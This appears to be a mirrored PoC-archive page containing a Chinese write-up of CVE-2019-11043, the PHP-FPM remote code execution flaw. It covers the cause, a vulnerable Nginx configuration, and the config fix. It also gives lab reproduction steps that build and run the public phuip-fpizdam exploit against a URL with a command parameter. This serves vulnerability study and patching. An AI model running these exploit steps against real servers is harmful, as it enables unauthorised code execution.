Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2019-11043 PoC — Underflow in PHP-FPM can lead to RCE

Source
Associated Vulnerability
Title:Underflow in PHP-FPM can lead to RCE (CVE-2019-11043)
Description:In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it is possible to cause FPM module to write past allocated buffers into the space reserved for FCGI protocol data, thus opening the possibility of remote code execution.
Description
CVE-2019-11043 PHP远程代码执行
Readme
## PHP 远程代码执行漏洞 (CVE-2019-11043)
### 1. 背景
9 月 26 日,PHP 官方发布漏洞通告,其中指出:使用 Nginx + php-fpm 的服务器,在部分配置下,存在远程代码执行漏洞。并且该配置已被广泛使用,危害较大。

漏洞 PoC 在 10 月 22 日公开,国内安全媒体及时发布了预警。  

### 2. 漏洞描述

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时,会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO 为空的情况下,存在逻辑缺陷。攻击者通过精心的构造和利用,可以导致远程代码执行。    

Nginx + php-fpm 的服务器,在使用如下配置的情况下,都可能存在远程代码执行漏洞。  
	
	 location ~ [^/]\.php(/|$) {

        fastcgi_split_path_info ^(.+?\.php)(/.*)$;

        fastcgi_param PATH_INFO       $fastcgi_path_info;

        fastcgi_pass   php:9000;

        ...
	}


### 3. 解决方案
在不影响正常业务的情况下,删除 Nginx 配置文件中的如下配置:
	
	fastcgi_split_path_info ^(.+?\.php)(/.*)$;
	fastcgi_param PATH_INFO       $fastcgi_path_info;

### 4. github公开的POC
github: [https://github.com/neex/phuip-fpizdam](https://github.com/neex/phuip-fpizdam)    

该POC利用了FastCGI变量_fcgi_data_seg中的优化,该优化仅在PHP7中,所以公开的exploit仅在php7下有效,PHP5环境下需要另外的exploit才能生效。  

### 5. 漏洞复现

#### 1. 配置NGINX+PHP-FPM(php7)
配置环境,搭建nginx + php-fpm,验证工作有效。  
	
1. 下载php7,解压进入目录  
	
		wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
		tar -xzvf php-7.2.4.tar.gz

2. 安装压缩、ssl等相关依赖包  

		yum install -y libxml2*
		yum install -y openssl*
		yum install -y libcurl*
		yum install -y libjpeg*
		yum install -y libpng*
		yum install -y freetype*
		yum install -y libmcrypt*

3. configure 编译源代码  

		./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
	
		make & make install

4. 配置php-fpm,如果配置多个PHP,可以修改端口9000为9001

		修改php-fpm配置文件:
		$ cd /usr/local/php/etc
		$ cp php-fpm.conf.default php-fpm.conf
		$ vi php-fpm.conf
		去掉 pid = run/php-fpm.pid 前面的分号
		$ cd php-fpm.d
		$ cp www.conf.default www.conf  (修改端口)
		$ vi www.conf
		修改user和group的用户为非root用户
 
5. ./php-fpm

#### 2. 配置存在漏洞的PHP解析

nginx.cof中添加如下配置:  

	location ~ [^/]\.php(/|$) {
            root /opt/apache/www;
            fastcgi_split_path_info ^(.+?\.php)(/.*)$;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param PATH_INFO  $fastcgi_path_info;
            fastcgi_pass   127.0.0.1:9001;
            include     fastcgi_params;
         }

重启nginx

6. 安装go,编译POC代码

		go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)

		go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
	
7. 运行POC  

		./phuip-fpizdam http://website.com/index.php
		./phuip-fpizdam http://website.com/index.php?a=command
		

[很不幸,配置环境不知哪的问题,验证失败]  
	
		2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong

#### 4. docker集成验证环境 
原链接:[https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043)

1. 下载该docker项目文件  
	
2. docker-compose up -d 运行docker容器  
	<img src="https://github.com/shadow-horse/VulnerabilityAnalysis/blob/master/php/cve-2019-11043/id.png"/>  
3. 运行程序,显示执行成功 ,利用漏洞回显执行命令"id" 
	<img src="https://github.com/shadow-horse/VulnerabilityAnalysis/blob/master/php/cve-2019-11043/dockerls.png"/>  
	<img src="https://github.com/shadow-horse/VulnerabilityAnalysis/blob/master/php/cve-2019-11043/id.png" />
4. 关闭docker服务
	docker ps   
	docker stop id 




File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →